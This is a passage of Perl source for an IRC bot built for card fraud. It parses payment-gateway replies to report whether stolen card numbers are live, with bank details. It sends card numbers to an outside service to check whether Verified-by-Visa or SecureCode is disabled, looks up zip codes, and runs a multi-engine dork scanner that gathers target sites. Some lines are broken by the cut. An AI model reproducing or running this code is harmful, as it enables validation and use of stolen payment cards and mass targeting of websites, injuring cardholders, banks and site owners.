;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}
}
if($msg{'what'} =~ /^!zip\s+(\d{5})/)
{
my ($zipcheck) = ($1);
&respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
$agent->submit();
print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/| (.*)<\/font><\/td> | (.*)<\/font><\/td> | (.*)<\/font><\/td> | (.*)<\/font><\/td> | (.*)<\/font><\/td> | (.*)<\/font>/g){
my ($city) = ($1);
my ($state) = ($2);
&respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city");
}
elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
&respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!");
}
}
if($msg{'what'} =~ /^!sec\s+(\d{16})/){
open FILE,"SCRIPTS/ignored.txt";
my ($numerocarta,) = ($1,$2,$3,$4,);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
if (substr($numerocarta,0,1)==4) {
$varType = 1;
&respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta");
}
if (substr($numerocarta,0,1)==5) {
$varType = 2;
&respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta");
}
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/color=green>Probably Non VBV/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
}
if ($allo =~/color=green>Probably Non VBV/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
}
if ($allo =~/color=red>Probably VBV Active/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
}
if ($allo =~/color=red>Probably VBV Active/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
}
if ($allo =~/Not found in Database/) {
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!");
}
toEnd:
}
}
}
sub ctrl_admin()
{
my $data = $_[0];
foreach my $admin ( HackAttack )
{
if($admin eq $data->{'from'})
{
return(0);
}
}
&respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN");
return(-1);
}
sub respond_to_privmsg()
{
my ($data,$m) = ($_[0],$_[1]);
if($data->{'to'} =~ /#/)
{
&privmsg($data->{'to'},$m);
}
else
{
&privmsg($data->{'from'},$m);
}
}
sub privmsg()
{
my($nick,$send) = @_;
$irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}
sub join_all()
{
foreach my $chan ( @chan )
{
$irc_socket->write("JOIN ".$chan."\r\n");
}
}
sub get_msg()
{
my $line = $_[0];
my %data;
#:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
{
#$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
$data{'from'} = $1;
$data{'to'} = $3;
$data{'what'} = $4;
}
return(%data);
}
sub http_request()
{
my($site,$request,$ua,$resp,$cnt);
$site = $_[0];
$site =~ s/[\r\n]//g;
$request = HTTP::Request->new(GET => $site);
$ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
$ua->timeout($timeout);
$resp = $ua->request($request);
$cnt = $resp->content();
return($cnt);
}
sub get_user_agents()
{
my @us_ag = (
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
"Opera/8.5 (X11; Linux i686; U; cs)",
"Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
);
return(@us_ag);
}
sub get_all_host()
{
my $site = $_[0];
my @dirs = ();
my @ret = ();
my $tmp = "";
$site =~ s/http:\/\///g;
$site =~ s/[\r\n]//g;
$site =~ s/\/\///g;
if($site !~ /\/$/)
{
$site .= "/";
}
@dirs = split(/\//,$site);
$tmp = $dirs[0] . "/";
push(@ret,$tmp);
for($i = 1; $i < scalar(@dirs); $i++)
{
$tmp .= $dirs[$i] . "/";
push(@ret,$tmp);
}
return(@ret);
}
sub urlencode()
{
my $str = $_[0];
$str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
return $str;
}
sub unique()
{
my @unici = ();
my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}
sub find_all_sites()
{
my ($data,$dork) = @_;
my $tmp_file_name = rand(999999) . ".txt";
my @pids_array = ();
my @data_links = ();
my @site_finded = ();
my @site_cleaned = ();
$dork =~ s/[\r\n]//g;
&respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");
$pids_array[0] = fork();
if($pids_array[0] == 0)
{
@data_links = &google($dork);
&respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[1] = fork();
if($pids_array[1] == 0)
{
@data_links = &yahoo($dork);
&respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[2] = fork();
if($pids_array[2] == 0)
{
@data_links = &altavista($dork);
&respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[3] = fork();
if($pids_array[3] == 0)
{
@data_links = &msn($dork);
&respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[4] = fork();
if($pids_array[4] == 0)
{
@data_links = &ask($dork);
&respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[5] = fork();
if($pids_array[5] == 0)
{
@data_links = &webcrawler($dork);
&respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
foreach my $pid_one ( @pids_array )
{
waitpid($pid_one,0);
}
@site_finded = &read_all_file_array($tmp_file_name);
&respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
@site_cleaned = &unique(@site_finded);
&respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
unlink($tmp_file_name);
return(@site_cleaned);
}
sub canghecmd()
{
my $n = $_[0];
push(@botcmd,$n);
}
sub read_all_file_array()
{
my $file = $_[0];
my @ret = ();
open(FILE,'<',$file);
while($a = )
{
$a =~ s/[\r\n]//g;
push(@ret,$a);
}
close(FILE);
return(@ret);
}
sub write_to_file_array()
{
my ($file,$data,$scal) = @_;
for($i = 0; $i < $scal; $i++)
{
&write_to_file($file,$data->[$i]);
}
}
sub write_to_file()
{
my($file,$data) = @_;
open(FILE,'>>',$file);
print FILE $data . "\n";
close(FILE);
}
sub google()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 300; $i += 100)
{
$html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
}
while($html =~ m/ |